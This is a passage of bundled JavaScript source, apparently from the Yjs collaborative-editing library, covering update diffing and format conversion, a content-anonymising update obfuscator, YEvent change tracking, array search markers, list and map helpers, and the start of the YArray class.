4923 const diff = currWrite.struct.id.clock + currWrite.struct.length - curr.id.clock;
4924 if (diff > 0) {
4925 if (currWrite.struct.constructor === Skip) {
4926 currWrite.struct.length -= diff;
4927 } else {
4928 curr = sliceStruct(curr, diff);
4929 }
4930 }
4931 if (!currWrite.struct.mergeWith(
4932 /** @type {any} */
4933 curr
4934 )) {
4935 writeStructToLazyStructWriter(lazyStructEncoder, currWrite.struct, currWrite.offset);
4936 currWrite = { struct: curr, offset: 0 };
4937 currDecoder.next();
4938 }
4939 }
4940 }
4941 } else {
4942 currWrite = { struct: (
4943 /** @type {Item | GC} */
4944 currDecoder.curr
4945 ), offset: 0 };
4946 currDecoder.next();
4947 }
4948 for (let next = currDecoder.curr; next !== null && next.id.client === firstClient && next.id.clock === currWrite.struct.id.clock + currWrite.struct.length && next.constructor !== Skip; next = currDecoder.next()) {
4949 writeStructToLazyStructWriter(lazyStructEncoder, currWrite.struct, currWrite.offset);
4950 currWrite = { struct: next, offset: 0 };
4951 }
4952 }
4953 if (currWrite !== null) {
4954 writeStructToLazyStructWriter(lazyStructEncoder, currWrite.struct, currWrite.offset);
4955 currWrite = null;
4956 }
4957 finishLazyStructWriting(lazyStructEncoder);
4958 const dss = updateDecoders.map((decoder) => readDeleteSet(decoder));
4959 const ds = mergeDeleteSets(dss);
4960 writeDeleteSet(updateEncoder, ds);
4961 return updateEncoder.toUint8Array();
4962 };
4963 var diffUpdateV2 = (update, sv, YDecoder = UpdateDecoderV2, YEncoder = UpdateEncoderV2) => {
4964 const state = decodeStateVector(sv);
4965 const encoder = new YEncoder();
4966 const lazyStructWriter = new LazyStructWriter(encoder);
4967 const decoder = new YDecoder(createDecoder(update));
4968 const reader = new LazyStructReader(decoder, false);
4969 while (reader.curr) {
4970 const curr = reader.curr;
4971 const currClient = curr.id.client;
4972 const svClock = state.get(currClient) || 0;
4973 if (reader.curr.constructor === Skip) {
4974 reader.next();
4975 continue;
4976 }
4977 if (curr.id.clock + curr.length > svClock) {
4978 writeStructToLazyStructWriter(lazyStructWriter, curr, max(svClock - curr.id.clock, 0));
4979 reader.next();
4980 while (reader.curr && reader.curr.id.client === currClient) {
4981 writeStructToLazyStructWriter(lazyStructWriter, reader.curr, 0);
4982 reader.next();
4983 }
4984 } else {
4985 while (reader.curr && reader.curr.id.client === currClient && reader.curr.id.clock + reader.curr.length <= svClock) {
4986 reader.next();
4987 }
4988 }
4989 }
4990 finishLazyStructWriting(lazyStructWriter);
4991 const ds = readDeleteSet(decoder);
4992 writeDeleteSet(encoder, ds);
4993 return encoder.toUint8Array();
4994 };
4995 var diffUpdate = (update, sv) => diffUpdateV2(update, sv, UpdateDecoderV1, UpdateEncoderV1);
4996 var flushLazyStructWriter = (lazyWriter) => {
4997 if (lazyWriter.written > 0) {
4998 lazyWriter.clientStructs.push({ written: lazyWriter.written, restEncoder: toUint8Array(lazyWriter.encoder.restEncoder) });
4999 lazyWriter.encoder.restEncoder = createEncoder();
5000 lazyWriter.written = 0;
5001 }
5002 };
5003 var writeStructToLazyStructWriter = (lazyWriter, struct, offset) => {
5004 if (lazyWriter.written > 0 && lazyWriter.currClient !== struct.id.client) {
5005 flushLazyStructWriter(lazyWriter);
5006 }
5007 if (lazyWriter.written === 0) {
5008 lazyWriter.currClient = struct.id.client;
5009 lazyWriter.encoder.writeClient(struct.id.client);
5010 writeVarUint(lazyWriter.encoder.restEncoder, struct.id.clock + offset);
5011 }
5012 struct.write(lazyWriter.encoder, offset);
5013 lazyWriter.written++;
5014 };
5015 var finishLazyStructWriting = (lazyWriter) => {
5016 flushLazyStructWriter(lazyWriter);
5017 const restEncoder = lazyWriter.encoder.restEncoder;
5018 writeVarUint(restEncoder, lazyWriter.clientStructs.length);
5019 for (let i = 0; i < lazyWriter.clientStructs.length; i++) {
5020 const partStructs = lazyWriter.clientStructs[i];
5021 writeVarUint(restEncoder, partStructs.written);
5022 writeUint8Array(restEncoder, partStructs.restEncoder);
5023 }
5024 };
5025 var convertUpdateFormat = (update, blockTransformer, YDecoder, YEncoder) => {
5026 const updateDecoder = new YDecoder(createDecoder(update));
5027 const lazyDecoder = new LazyStructReader(updateDecoder, false);
5028 const updateEncoder = new YEncoder();
5029 const lazyWriter = new LazyStructWriter(updateEncoder);
5030 for (let curr = lazyDecoder.curr; curr !== null; curr = lazyDecoder.next()) {
5031 writeStructToLazyStructWriter(lazyWriter, blockTransformer(curr), 0);
5032 }
5033 finishLazyStructWriting(lazyWriter);
5034 const ds = readDeleteSet(updateDecoder);
5035 writeDeleteSet(updateEncoder, ds);
5036 return updateEncoder.toUint8Array();
5037 };
5038 var createObfuscator = ({ formatting = true, subdocs = true, yxml = true } = {}) => {
5039 let i = 0;
5040 const mapKeyCache = create();
5041 const nodeNameCache = create();
5042 const formattingKeyCache = create();
5043 const formattingValueCache = create();
5044 formattingValueCache.set(null, null);
5045 return (block) => {
5046 switch (block.constructor) {
5047 case GC:
5048 case Skip:
5049 return block;
5050 case Item: {
5051 const item = (
5052 /** @type {Item} */
5053 block
5054 );
5055 const content = item.content;
5056 switch (content.constructor) {
5057 case ContentDeleted:
5058 break;
5059 case ContentType: {
5060 if (yxml) {
5061 const type = (
5062 /** @type {ContentType} */
5063 content.type
5064 );
5065 if (type instanceof YXmlElement) {
5066 type.nodeName = setIfUndefined(nodeNameCache, type.nodeName, () => "node-" + i);
5067 }
5068 if (type instanceof YXmlHook) {
5069 type.hookName = setIfUndefined(nodeNameCache, type.hookName, () => "hook-" + i);
5070 }
5071 }
5072 break;
5073 }
5074 case ContentAny: {
5075 const c = (
5076 /** @type {ContentAny} */
5077 content
5078 );
5079 c.arr = c.arr.map(() => i);
5080 break;
5081 }
5082 case ContentBinary: {
5083 const c = (
5084 /** @type {ContentBinary} */
5085 content
5086 );
5087 c.content = new Uint8Array([i]);
5088 break;
5089 }
5090 case ContentDoc: {
5091 const c = (
5092 /** @type {ContentDoc} */
5093 content
5094 );
5095 if (subdocs) {
5096 c.opts = {};
5097 c.doc.guid = i + "";
5098 }
5099 break;
5100 }
5101 case ContentEmbed: {
5102 const c = (
5103 /** @type {ContentEmbed} */
5104 content
5105 );
5106 c.embed = {};
5107 break;
5108 }
5109 case ContentFormat: {
5110 const c = (
5111 /** @type {ContentFormat} */
5112 content
5113 );
5114 if (formatting) {
5115 c.key = setIfUndefined(formattingKeyCache, c.key, () => i + "");
5116 c.value = setIfUndefined(formattingValueCache, c.value, () => ({ i }));
5117 }
5118 break;
5119 }
5120 case ContentJSON: {
5121 const c = (
5122 /** @type {ContentJSON} */
5123 content
5124 );
5125 c.arr = c.arr.map(() => i);
5126 break;
5127 }
5128 case ContentString: {
5129 const c = (
5130 /** @type {ContentString} */
5131 content
5132 );
5133 c.str = repeat(i % 10 + "", c.str.length);
5134 break;
5135 }
5136 default:
5137 unexpectedCase();
5138 }
5139 if (item.parentSub) {
5140 item.parentSub = setIfUndefined(mapKeyCache, item.parentSub, () => i + "");
5141 }
5142 i++;
5143 return block;
5144 }
5145 default:
5146 unexpectedCase();
5147 }
5148 };
5149 };
5150 var obfuscateUpdate = (update, opts) => convertUpdateFormat(update, createObfuscator(opts), UpdateDecoderV1, UpdateEncoderV1);
5151 var obfuscateUpdateV2 = (update, opts) => convertUpdateFormat(update, createObfuscator(opts), UpdateDecoderV2, UpdateEncoderV2);
5152 var convertUpdateFormatV1ToV2 = (update) => convertUpdateFormat(update, id, UpdateDecoderV1, UpdateEncoderV2);
5153 var convertUpdateFormatV2ToV1 = (update) => convertUpdateFormat(update, id, UpdateDecoderV2, UpdateEncoderV1);
5154 var errorComputeChanges = "You must not compute changes after the event-handler fired.";
5155 var YEvent = class {
5156 /**
5157 * @param {T} target The changed type.
5158 * @param {Transaction} transaction
5159 */
5160 constructor(target, transaction) {
5161 this.target = target;
5162 this.currentTarget = target;
5163 this.transaction = transaction;
5164 this._changes = null;
5165 this._keys = null;
5166 this._delta = null;
5167 this._path = null;
5168 }
5169 /**
5170 * Computes the path from `y` to the changed type.
5171 *
5172 * @todo v14 should standardize on path: Array<{parent, index}> because that is easier to work with.
5173 *
5174 * The following property holds:
5175 * @example
5176 * let type = y
5177 * event.path.forEach(dir => {
5178 * type = type.get(dir)
5179 * })
5180 * type === event.target // => true
5181 */
5182 get path() {
5183 return this._path || (this._path = getPathTo(this.currentTarget, this.target));
5184 }
5185 /**
5186 * Check if a struct is deleted by this event.
5187 *
5188 * In contrast to change.deleted, this method also returns true if the struct was added and then deleted.
5189 *
5190 * @param {AbstractStruct} struct
5191 * @return {boolean}
5192 */
5193 deletes(struct) {
5194 return isDeleted(this.transaction.deleteSet, struct.id);
5195 }
5196 /**
5197 * @type {Map<string, { action: 'add' | 'update' | 'delete', oldValue: any }>}
5198 */
5199 get keys() {
5200 if (this._keys === null) {
5201 if (this.transaction.doc._transactionCleanups.length === 0) {
5202 throw create3(errorComputeChanges);
5203 }
5204 const keys2 = /* @__PURE__ */ new Map();
5205 const target = this.target;
5206 const changed = (
5207 /** @type Set<string|null> */
5208 this.transaction.changed.get(target)
5209 );
5210 changed.forEach((key) => {
5211 if (key !== null) {
5212 const item = (
5213 /** @type {Item} */
5214 target._map.get(key)
5215 );
5216 let action;
5217 let oldValue;
5218 if (this.adds(item)) {
5219 let prev = item.left;
5220 while (prev !== null && this.adds(prev)) {
5221 prev = prev.left;
5222 }
5223 if (this.deletes(item)) {
5224 if (prev !== null && this.deletes(prev)) {
5225 action = "delete";
5226 oldValue = last(prev.content.getContent());
5227 } else {
5228 return;
5229 }
5230 } else {
5231 if (prev !== null && this.deletes(prev)) {
5232 action = "update";
5233 oldValue = last(prev.content.getContent());
5234 } else {
5235 action = "add";
5236 oldValue = void 0;
5237 }
5238 }
5239 } else {
5240 if (this.deletes(item)) {
5241 action = "delete";
5242 oldValue = last(
5243 /** @type {Item} */
5244 item.content.getContent()
5245 );
5246 } else {
5247 return;
5248 }
5249 }
5250 keys2.set(key, { action, oldValue });
5251 }
5252 });
5253 this._keys = keys2;
5254 }
5255 return this._keys;
5256 }
5257 /**
5258 * This is a computed property. Note that this can only be safely computed during the
5259 * event call. Computing this property after other changes happened might result in
5260 * unexpected behavior (incorrect computation of deltas). A safe way to collect changes
5261 * is to store the `changes` or the `delta` object. Avoid storing the `transaction` object.
5262 *
5263 * @type {Array<{insert?: string | Array<any> | object | AbstractType<any>, retain?: number, delete?: number, attributes?: Object<string, any>}>}
5264 */
5265 get delta() {
5266 return this.changes.delta;
5267 }
5268 /**
5269 * Check if a struct is added by this event.
5270 *
5271 * In contrast to change.deleted, this method also returns true if the struct was added and then deleted.
5272 *
5273 * @param {AbstractStruct} struct
5274 * @return {boolean}
5275 */
5276 adds(struct) {
5277 return struct.id.clock >= (this.transaction.beforeState.get(struct.id.client) || 0);
5278 }
5279 /**
5280 * This is a computed property. Note that this can only be safely computed during the
5281 * event call. Computing this property after other changes happened might result in
5282 * unexpected behavior (incorrect computation of deltas). A safe way to collect changes
5283 * is to store the `changes` or the `delta` object. Avoid storing the `transaction` object.
5284 *
5285 * @type {{added:Set<Item>,deleted:Set<Item>,keys:Map<string,{action:'add'|'update'|'delete',oldValue:any}>,delta:Array<{insert?:Array<any>|string, delete?:number, retain?:number}>}}
5286 */
5287 get changes() {
5288 let changes = this._changes;
5289 if (changes === null) {
5290 if (this.transaction.doc._transactionCleanups.length === 0) {
5291 throw create3(errorComputeChanges);
5292 }
5293 const target = this.target;
5294 const added = create2();
5295 const deleted = create2();
5296 const delta = [];
5297 changes = {
5298 added,
5299 deleted,
5300 delta,
5301 keys: this.keys
5302 };
5303 const changed = (
5304 /** @type Set<string|null> */
5305 this.transaction.changed.get(target)
5306 );
5307 if (changed.has(null)) {
5308 let lastOp = null;
5309 const packOp = () => {
5310 if (lastOp) {
5311 delta.push(lastOp);
5312 }
5313 };
5314 for (let item = target._start; item !== null; item = item.right) {
5315 if (item.deleted) {
5316 if (this.deletes(item) && !this.adds(item)) {
5317 if (lastOp === null || lastOp.delete === void 0) {
5318 packOp();
5319 lastOp = { delete: 0 };
5320 }
5321 lastOp.delete += item.length;
5322 deleted.add(item);
5323 }
5324 } else {
5325 if (this.adds(item)) {
5326 if (lastOp === null || lastOp.insert === void 0) {
5327 packOp();
5328 lastOp = { insert: [] };
5329 }
5330 lastOp.insert = lastOp.insert.concat(item.content.getContent());
5331 added.add(item);
5332 } else {
5333 if (lastOp === null || lastOp.retain === void 0) {
5334 packOp();
5335 lastOp = { retain: 0 };
5336 }
5337 lastOp.retain += item.length;
5338 }
5339 }
5340 }
5341 if (lastOp !== null && lastOp.retain === void 0) {
5342 packOp();
5343 }
5344 }
5345 this._changes = changes;
5346 }
5347 return (
5348 /** @type {any} */
5349 changes
5350 );
5351 }
5352 };
5353 var getPathTo = (parent, child) => {
5354 const path = [];
5355 while (child._item !== null && child !== parent) {
5356 if (child._item.parentSub !== null) {
5357 path.unshift(child._item.parentSub);
5358 } else {
5359 let i = 0;
5360 let c = (
5361 /** @type {AbstractType<any>} */
5362 child._item.parent._start
5363 );
5364 while (c !== child._item && c !== null) {
5365 if (!c.deleted && c.countable) {
5366 i += c.length;
5367 }
5368 c = c.right;
5369 }
5370 path.unshift(i);
5371 }
5372 child = /** @type {AbstractType<any>} */
5373 child._item.parent;
5374 }
5375 return path;
5376 };
5377 var warnPrematureAccess = () => {
5378 warn("Invalid access: Add Yjs type to a document before reading data.");
5379 };
5380 var maxSearchMarker = 80;
5381 var globalSearchMarkerTimestamp = 0;
5382 var ArraySearchMarker = class {
5383 /**
5384 * @param {Item} p
5385 * @param {number} index
5386 */
5387 constructor(p, index) {
5388 p.marker = true;
5389 this.p = p;
5390 this.index = index;
5391 this.timestamp = globalSearchMarkerTimestamp++;
5392 }
5393 };
5394 var refreshMarkerTimestamp = (marker) => {
5395 marker.timestamp = globalSearchMarkerTimestamp++;
5396 };
5397 var overwriteMarker = (marker, p, index) => {
5398 marker.p.marker = false;
5399 marker.p = p;
5400 p.marker = true;
5401 marker.index = index;
5402 marker.timestamp = globalSearchMarkerTimestamp++;
5403 };
5404 var markPosition = (searchMarker, p, index) => {
5405 if (searchMarker.length >= maxSearchMarker) {
5406 const marker = searchMarker.reduce((a, b) => a.timestamp < b.timestamp ? a : b);
5407 overwriteMarker(marker, p, index);
5408 return marker;
5409 } else {
5410 const pm = new ArraySearchMarker(p, index);
5411 searchMarker.push(pm);
5412 return pm;
5413 }
5414 };
5415 var findMarker = (yarray, index) => {
5416 if (yarray._start === null || index === 0 || yarray._searchMarker === null) {
5417 return null;
5418 }
5419 const marker = yarray._searchMarker.length === 0 ? null : yarray._searchMarker.reduce((a, b) => abs(index - a.index) < abs(index - b.index) ? a : b);
5420 let p = yarray._start;
5421 let pindex = 0;
5422 if (marker !== null) {
5423 p = marker.p;
5424 pindex = marker.index;
5425 refreshMarkerTimestamp(marker);
5426 }
5427 while (p.right !== null && pindex < index) {
5428 if (!p.deleted && p.countable) {
5429 if (index < pindex + p.length) {
5430 break;
5431 }
5432 pindex += p.length;
5433 }
5434 p = p.right;
5435 }
5436 while (p.left !== null && pindex > index) {
5437 p = p.left;
5438 if (!p.deleted && p.countable) {
5439 pindex -= p.length;
5440 }
5441 }
5442 while (p.left !== null && p.left.id.client === p.id.client && p.left.id.clock + p.left.length === p.id.clock) {
5443 p = p.left;
5444 if (!p.deleted && p.countable) {
5445 pindex -= p.length;
5446 }
5447 }
5448 if (marker !== null && abs(marker.index - pindex) < /** @type {YText|YArray<any>} */
5449 p.parent.length / maxSearchMarker) {
5450 overwriteMarker(marker, p, pindex);
5451 return marker;
5452 } else {
5453 return markPosition(yarray._searchMarker, p, pindex);
5454 }
5455 };
5456 var updateMarkerChanges = (searchMarker, index, len) => {
5457 for (let i = searchMarker.length - 1; i >= 0; i--) {
5458 const m = searchMarker[i];
5459 if (len > 0) {
5460 let p = m.p;
5461 p.marker = false;
5462 while (p && (p.deleted || !p.countable)) {
5463 p = p.left;
5464 if (p && !p.deleted && p.countable) {
5465 m.index -= p.length;
5466 }
5467 }
5468 if (p === null || p.marker === true) {
5469 searchMarker.splice(i, 1);
5470 continue;
5471 }
5472 m.p = p;
5473 p.marker = true;
5474 }
5475 if (index < m.index || len > 0 && index === m.index) {
5476 m.index = max(index, m.index + len);
5477 }
5478 }
5479 };
5480 var getTypeChildren = (t) => {
5481 t.doc ?? warnPrematureAccess();
5482 let s = t._start;
5483 const arr = [];
5484 while (s) {
5485 arr.push(s);
5486 s = s.right;
5487 }
5488 return arr;
5489 };
5490 var callTypeObservers = (type, transaction, event) => {
5491 const changedType = type;
5492 const changedParentTypes = transaction.changedParentTypes;
5493 while (true) {
5494 setIfUndefined(changedParentTypes, type, () => []).push(event);
5495 if (type._item === null) {
5496 break;
5497 }
5498 type = /** @type {AbstractType<any>} */
5499 type._item.parent;
5500 }
5501 callEventHandlerListeners(changedType._eH, event, transaction);
5502 };
5503 var AbstractType = class {
5504 constructor() {
5505 this._item = null;
5506 this._map = /* @__PURE__ */ new Map();
5507 this._start = null;
5508 this.doc = null;
5509 this._length = 0;
5510 this._eH = createEventHandler();
5511 this._dEH = createEventHandler();
5512 this._searchMarker = null;
5513 }
5514 /**
5515 * @return {AbstractType<any>|null}
5516 */
5517 get parent() {
5518 return this._item ? (
5519 /** @type {AbstractType<any>} */
5520 this._item.parent
5521 ) : null;
5522 }
5523 /**
5524 * Integrate this type into the Yjs instance.
5525 *
5526 * * Save this struct in the os
5527 * * This type is sent to other client
5528 * * Observer functions are fired
5529 *
5530 * @param {Doc} y The Yjs instance
5531 * @param {Item|null} item
5532 */
5533 _integrate(y, item) {
5534 this.doc = y;
5535 this._item = item;
5536 }
5537 /**
5538 * @return {AbstractType<EventType>}
5539 */
5540 _copy() {
5541 throw methodUnimplemented();
5542 }
5543 /**
5544 * Makes a copy of this data type that can be included somewhere else.
5545 *
5546 * Note that the content is only readable _after_ it has been included somewhere in the Ydoc.
5547 *
5548 * @return {AbstractType<EventType>}
5549 */
5550 clone() {
5551 throw methodUnimplemented();
5552 }
5553 /**
5554 * @param {UpdateEncoderV1 | UpdateEncoderV2} _encoder
5555 */
5556 _write(_encoder) {
5557 }
5558 /**
5559 * The first non-deleted item
5560 */
5561 get _first() {
5562 let n = this._start;
5563 while (n !== null && n.deleted) {
5564 n = n.right;
5565 }
5566 return n;
5567 }
5568 /**
5569 * Creates YEvent and calls all type observers.
5570 * Must be implemented by each type.
5571 *
5572 * @param {Transaction} transaction
5573 * @param {Set<null|string>} _parentSubs Keys changed on this type. `null` if list was modified.
5574 */
5575 _callObserver(transaction, _parentSubs) {
5576 if (!transaction.local && this._searchMarker) {
5577 this._searchMarker.length = 0;
5578 }
5579 }
5580 /**
5581 * Observe all events that are created on this type.
5582 *
5583 * @param {function(EventType, Transaction):void} f Observer function
5584 */
5585 observe(f) {
5586 addEventHandlerListener(this._eH, f);
5587 }
5588 /**
5589 * Observe all events that are created by this type and its children.
5590 *
5591 * @param {function(Array<YEvent<any>>,Transaction):void} f Observer function
5592 */
5593 observeDeep(f) {
5594 addEventHandlerListener(this._dEH, f);
5595 }
5596 /**
5597 * Unregister an observer function.
5598 *
5599 * @param {function(EventType,Transaction):void} f Observer function
5600 */
5601 unobserve(f) {
5602 removeEventHandlerListener(this._eH, f);
5603 }
5604 /**
5605 * Unregister an observer function.
5606 *
5607 * @param {function(Array<YEvent<any>>,Transaction):void} f Observer function
5608 */
5609 unobserveDeep(f) {
5610 removeEventHandlerListener(this._dEH, f);
5611 }
5612 /**
5613 * @abstract
5614 * @return {any}
5615 */
5616 toJSON() {
5617 }
5618 };
5619 var typeListSlice = (type, start, end) => {
5620 type.doc ?? warnPrematureAccess();
5621 if (start < 0) {
5622 start = type._length + start;
5623 }
5624 if (end < 0) {
5625 end = type._length + end;
5626 }
5627 let len = end - start;
5628 const cs = [];
5629 let n = type._start;
5630 while (n !== null && len > 0) {
5631 if (n.countable && !n.deleted) {
5632 const c = n.content.getContent();
5633 if (c.length <= start) {
5634 start -= c.length;
5635 } else {
5636 for (let i = start; i < c.length && len > 0; i++) {
5637 cs.push(c[i]);
5638 len--;
5639 }
5640 start = 0;
5641 }
5642 }
5643 n = n.right;
5644 }
5645 return cs;
5646 };
5647 var typeListToArray = (type) => {
5648 type.doc ?? warnPrematureAccess();
5649 const cs = [];
5650 let n = type._start;
5651 while (n !== null) {
5652 if (n.countable && !n.deleted) {
5653 const c = n.content.getContent();
5654 for (let i = 0; i < c.length; i++) {
5655 cs.push(c[i]);
5656 }
5657 }
5658 n = n.right;
5659 }
5660 return cs;
5661 };
5662 var typeListToArraySnapshot = (type, snapshot2) => {
5663 const cs = [];
5664 let n = type._start;
5665 while (n !== null) {
5666 if (n.countable && isVisible(n, snapshot2)) {
5667 const c = n.content.getContent();
5668 for (let i = 0; i < c.length; i++) {
5669 cs.push(c[i]);
5670 }
5671 }
5672 n = n.right;
5673 }
5674 return cs;
5675 };
5676 var typeListForEach = (type, f) => {
5677 let index = 0;
5678 let n = type._start;
5679 type.doc ?? warnPrematureAccess();
5680 while (n !== null) {
5681 if (n.countable && !n.deleted) {
5682 const c = n.content.getContent();
5683 for (let i = 0; i < c.length; i++) {
5684 f(c[i], index++, type);
5685 }
5686 }
5687 n = n.right;
5688 }
5689 };
5690 var typeListMap = (type, f) => {
5691 const result = [];
5692 typeListForEach(type, (c, i) => {
5693 result.push(f(c, i, type));
5694 });
5695 return result;
5696 };
5697 var typeListCreateIterator = (type) => {
5698 let n = type._start;
5699 let currentContent = null;
5700 let currentContentIndex = 0;
5701 return {
5702 [Symbol.iterator]() {
5703 return this;
5704 },
5705 next: () => {
5706 if (currentContent === null) {
5707 while (n !== null && n.deleted) {
5708 n = n.right;
5709 }
5710 if (n === null) {
5711 return {
5712 done: true,
5713 value: void 0
5714 };
5715 }
5716 currentContent = n.content.getContent();
5717 currentContentIndex = 0;
5718 n = n.right;
5719 }
5720 const value = currentContent[currentContentIndex++];
5721 if (currentContent.length <= currentContentIndex) {
5722 currentContent = null;
5723 }
5724 return {
5725 done: false,
5726 value
5727 };
5728 }
5729 };
5730 };
5731 var typeListGet = (type, index) => {
5732 type.doc ?? warnPrematureAccess();
5733 const marker = findMarker(type, index);
5734 let n = type._start;
5735 if (marker !== null) {
5736 n = marker.p;
5737 index -= marker.index;
5738 }
5739 for (; n !== null; n = n.right) {
5740 if (!n.deleted && n.countable) {
5741 if (index < n.length) {
5742 return n.content.getContent()[index];
5743 }
5744 index -= n.length;
5745 }
5746 }
5747 };
5748 var typeListInsertGenericsAfter = (transaction, parent, referenceItem, content) => {
5749 let left = referenceItem;
5750 const doc2 = transaction.doc;
5751 const ownClientId = doc2.clientID;
5752 const store2 = doc2.store;
5753 const right = referenceItem === null ? parent._start : referenceItem.right;
5754 let jsonContent = [];
5755 const packJsonContent = () => {
5756 if (jsonContent.length > 0) {
5757 left = new Item(createID(ownClientId, getState(store2, ownClientId)), left, left && left.lastId, right, right && right.id, parent, null, new ContentAny(jsonContent));
5758 left.integrate(transaction, 0);
5759 jsonContent = [];
5760 }
5761 };
5762 content.forEach((c) => {
5763 if (c === null) {
5764 jsonContent.push(c);
5765 } else {
5766 switch (c.constructor) {
5767 case Number:
5768 case Object:
5769 case Boolean:
5770 case Array:
5771 case String:
5772 jsonContent.push(c);
5773 break;
5774 default:
5775 packJsonContent();
5776 switch (c.constructor) {
5777 case Uint8Array:
5778 case ArrayBuffer:
5779 left = new Item(createID(ownClientId, getState(store2, ownClientId)), left, left && left.lastId, right, right && right.id, parent, null, new ContentBinary(new Uint8Array(
5780 /** @type {Uint8Array} */
5781 c
5782 )));
5783 left.integrate(transaction, 0);
5784 break;
5785 case Doc:
5786 left = new Item(createID(ownClientId, getState(store2, ownClientId)), left, left && left.lastId, right, right && right.id, parent, null, new ContentDoc(
5787 /** @type {Doc} */
5788 c
5789 ));
5790 left.integrate(transaction, 0);
5791 break;
5792 default:
5793 if (c instanceof AbstractType) {
5794 left = new Item(createID(ownClientId, getState(store2, ownClientId)), left, left && left.lastId, right, right && right.id, parent, null, new ContentType(c));
5795 left.integrate(transaction, 0);
5796 } else {
5797 throw new Error("Unexpected content type in insert operation");
5798 }
5799 }
5800 }
5801 }
5802 });
5803 packJsonContent();
5804 };
5805 var lengthExceeded = () => create3("Length exceeded!");
5806 var typeListInsertGenerics = (transaction, parent, index, content) => {
5807 if (index > parent._length) {
5808 throw lengthExceeded();
5809 }
5810 if (index === 0) {
5811 if (parent._searchMarker) {
5812 updateMarkerChanges(parent._searchMarker, index, content.length);
5813 }
5814 return typeListInsertGenericsAfter(transaction, parent, null, content);
5815 }
5816 const startIndex = index;
5817 const marker = findMarker(parent, index);
5818 let n = parent._start;
5819 if (marker !== null) {
5820 n = marker.p;
5821 index -= marker.index;
5822 if (index === 0) {
5823 n = n.prev;
5824 index += n && n.countable && !n.deleted ? n.length : 0;
5825 }
5826 }
5827 for (; n !== null; n = n.right) {
5828 if (!n.deleted && n.countable) {
5829 if (index <= n.length) {
5830 if (index < n.length) {
5831 getItemCleanStart(transaction, createID(n.id.client, n.id.clock + index));
5832 }
5833 break;
5834 }
5835 index -= n.length;
5836 }
5837 }
5838 if (parent._searchMarker) {
5839 updateMarkerChanges(parent._searchMarker, startIndex, content.length);
5840 }
5841 return typeListInsertGenericsAfter(transaction, parent, n, content);
5842 };
5843 var typeListPushGenerics = (transaction, parent, content) => {
5844 const marker = (parent._searchMarker || []).reduce((maxMarker, currMarker) => currMarker.index > maxMarker.index ? currMarker : maxMarker, { index: 0, p: parent._start });
5845 let n = marker.p;
5846 if (n) {
5847 while (n.right) {
5848 n = n.right;
5849 }
5850 }
5851 return typeListInsertGenericsAfter(transaction, parent, n, content);
5852 };
5853 var typeListDelete = (transaction, parent, index, length3) => {
5854 if (length3 === 0) {
5855 return;
5856 }
5857 const startIndex = index;
5858 const startLength = length3;
5859 const marker = findMarker(parent, index);
5860 let n = parent._start;
5861 if (marker !== null) {
5862 n = marker.p;
5863 index -= marker.index;
5864 }
5865 for (; n !== null && index > 0; n = n.right) {
5866 if (!n.deleted && n.countable) {
5867 if (index < n.length) {
5868 getItemCleanStart(transaction, createID(n.id.client, n.id.clock + index));
5869 }
5870 index -= n.length;
5871 }
5872 }
5873 while (length3 > 0 && n !== null) {
5874 if (!n.deleted) {
5875 if (length3 < n.length) {
5876 getItemCleanStart(transaction, createID(n.id.client, n.id.clock + length3));
5877 }
5878 n.delete(transaction);
5879 length3 -= n.length;
5880 }
5881 n = n.right;
5882 }
5883 if (length3 > 0) {
5884 throw lengthExceeded();
5885 }
5886 if (parent._searchMarker) {
5887 updateMarkerChanges(
5888 parent._searchMarker,
5889 startIndex,
5890 -startLength + length3
5891 /* in case we remove the above exception */
5892 );
5893 }
5894 };
5895 var typeMapDelete = (transaction, parent, key) => {
5896 const c = parent._map.get(key);
5897 if (c !== void 0) {
5898 c.delete(transaction);
5899 }
5900 };
5901 var typeMapSet = (transaction, parent, key, value) => {
5902 const left = parent._map.get(key) || null;
5903 const doc2 = transaction.doc;
5904 const ownClientId = doc2.clientID;
5905 let content;
5906 if (value == null) {
5907 content = new ContentAny([value]);
5908 } else {
5909 switch (value.constructor) {
5910 case Number:
5911 case Object:
5912 case Boolean:
5913 case Array:
5914 case String:
5915 case Date:
5916 case BigInt:
5917 content = new ContentAny([value]);
5918 break;
5919 case Uint8Array:
5920 content = new ContentBinary(
5921 /** @type {Uint8Array} */
5922 value
5923 );
5924 break;
5925 case Doc:
5926 content = new ContentDoc(
5927 /** @type {Doc} */
5928 value
5929 );
5930 break;
5931 default:
5932 if (value instanceof AbstractType) {
5933 content = new ContentType(value);
5934 } else {
5935 throw new Error("Unexpected content type");
5936 }
5937 }
5938 }
5939 new Item(createID(ownClientId, getState(doc2.store, ownClientId)), left, left && left.lastId, null, null, parent, key, content).integrate(transaction, 0);
5940 };
5941 var typeMapGet = (parent, key) => {
5942 parent.doc ?? warnPrematureAccess();
5943 const val = parent._map.get(key);
5944 return val !== void 0 && !val.deleted ? val.content.getContent()[val.length - 1] : void 0;
5945 };
5946 var typeMapGetAll = (parent) => {
5947 const res = {};
5948 parent.doc ?? warnPrematureAccess();
5949 parent._map.forEach((value, key) => {
5950 if (!value.deleted) {
5951 res[key] = value.content.getContent()[value.length - 1];
5952 }
5953 });
5954 return res;
5955 };
5956 var typeMapHas = (parent, key) => {
5957 parent.doc ?? warnPrematureAccess();
5958 const val = parent._map.get(key);
5959 return val !== void 0 && !val.deleted;
5960 };
5961 var typeMapGetSnapshot = (parent, key, snapshot2) => {
5962 let v = parent._map.get(key) || null;
5963 while (v !== null && (!snapshot2.sv.has(v.id.client) || v.id.clock >= (snapshot2.sv.get(v.id.client) || 0))) {
5964 v = v.left;
5965 }
5966 return v !== null && isVisible(v, snapshot2) ? v.content.getContent()[v.length - 1] : void 0;
5967 };
5968 var typeMapGetAllSnapshot = (parent, snapshot2) => {
5969 const res = {};
5970 parent._map.forEach((value, key) => {
5971 let v = value;
5972 while (v !== null && (!snapshot2.sv.has(v.id.client) || v.id.clock >= (snapshot2.sv.get(v.id.client) || 0))) {
5973 v = v.left;
5974 }
5975 if (v !== null && isVisible(v, snapshot2)) {
5976 res[key] = v.content.getContent()[v.length - 1];
5977 }
5978 });
5979 return res;
5980 };
5981 var createMapIterator = (type) => {
5982 type.doc ?? warnPrematureAccess();
5983 return iteratorFilter(
5984 type._map.entries(),
5985 /** @param {any} entry */
5986 (entry) => !entry[1].deleted
5987 );
5988 };
5989 var YArrayEvent = class extends YEvent {
5990 };
5991 var YArray = class _YArray extends AbstractType {
5992 constructor() {
5993 super();
5994 this._prelimContent = [];
5995 this._searchMarker = [];
5996 }
5997 /**
5998 * Construct a new YArray containing the specified items.
